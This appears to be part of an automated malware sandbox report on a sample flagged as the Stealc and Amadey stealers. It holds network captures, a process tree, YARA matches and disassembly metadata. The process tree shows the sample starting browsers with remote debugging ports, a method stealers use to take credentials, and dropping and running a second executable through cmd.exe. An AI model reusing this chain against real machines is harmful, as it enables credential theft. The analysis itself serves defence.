2024-11-27 10:14:56 UTC	16384	IN	Data Raw: b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a b1 Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-27 10:14:56 UTC	3219	IN	Data Raw: 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 75 Data Ascii: +7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggqu
2024-11-27 10:14:56 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-27 10:14:56 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-27 10:14:56 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49942	20.110.205.119	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:55 UTC	1279	OUT	GET /c.gif?rnd=1732702487977&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c28f73b3bedc4a6ba0297141dc8ea855&activityId=c28f73b3bedc4a6ba0297141dc8ea855&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B00CBD53F64D42938B07B05F829D7930&MUID=0DAD223ED34268AD13B3377AD2436971 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-27 10:14:56 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0DAD223ED34268AD13B3377AD2436971; domain=.msn.com; expires=Mon, 22-Dec-2025 10:14:56 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0DAD223ED34268AD13B3377AD2436971; domain=c.msn.com; expires=Mon, 22-Dec-2025 10:14:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 04-Dec-2024 10:14:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 10:24:56 GMT; path=/; SameSite=None; Secure; Date: Wed, 27 Nov 2024 10:14:55 GMT Connection: close Content-Length: 42
2024-11-27 10:14:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101456Z-174f7845968g6hv8hC1EWR1v2n00000004mg000000009rx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:56 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Target ID:	0
Start time:	05:14:09
Start date:	27/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf70000
File size:	1'804'800 bytes
MD5 hash:	10F2CB265F91EDEDE4941F3F8DBA3B74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2695752628.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2188438662.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:14:20
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:14:21
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,943263377203293330,1240535653914430162,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:14:32
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:14:32
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2220,i,14701681083971057081,8128613137941983017,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:14:32
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:14:33
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	05:14:37
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6744 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:14:37
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:14:38
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:14:38
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:15:01
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:15:01
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:15:01
Start date:	27/11/2024
Path:	C:\Users\user\DocumentsBFHDHJKKJD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBFHDHJKKJD.exe"
Imagebase:	0x470000
File size:	1'915'392 bytes
MD5 hash:	75C74C2FD59789450D493010E203D2FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.2689158860.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.2729601779.0000000000471000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:15:03
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x6a0000
File size:	1'915'392 bytes
MD5 hash:	75C74C2FD59789450D493010E203D2FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2749061982.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2708505132.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:15:04
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6a0000
File size:	1'915'392 bytes
MD5 hash:	75C74C2FD59789450D493010E203D2FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.2766482189.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.2723354960.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:15:33
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6828 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	05:16:00
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6a0000
File size:	1'915'392 bytes
MD5 hash:	75C74C2FD59789450D493010E203D2FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000003.3271969084.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000002.3409818554.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
__aulldiv.LIBCMT ref: 6C9636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C963773
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C96377E
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9637C4
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9637CB
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C963801
__aulldiv.LIBCMT ref: 6C963883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C963902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C963918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C96394C

Strings

AuthcAMDenti, xrefs: 6C963946
GTC, xrefs: 6C963912
QPC, xrefs: 6C9638FC
GenuntelineI, xrefs: 6C963639
MOZ_TIMESTAMP_MODE, xrefs: 6C9635DB

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction ID: 2c3a290a033bbbf252d2fa40c6f8ab3811b988b418c87b220ea80aa77cf8596f
Opcode Fuzzy Hash: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction Fuzzy Hash: 7BB1C471B083409BDB48DF39D84561ABBF5BFAEB04F15892EE499D7B90D770D9008B81

Function 6C97C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C97C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C97C969
GetSystemInfo.KERNEL32(?), ref: 6C97C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C97C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C97C9E2

Memory Dump Source

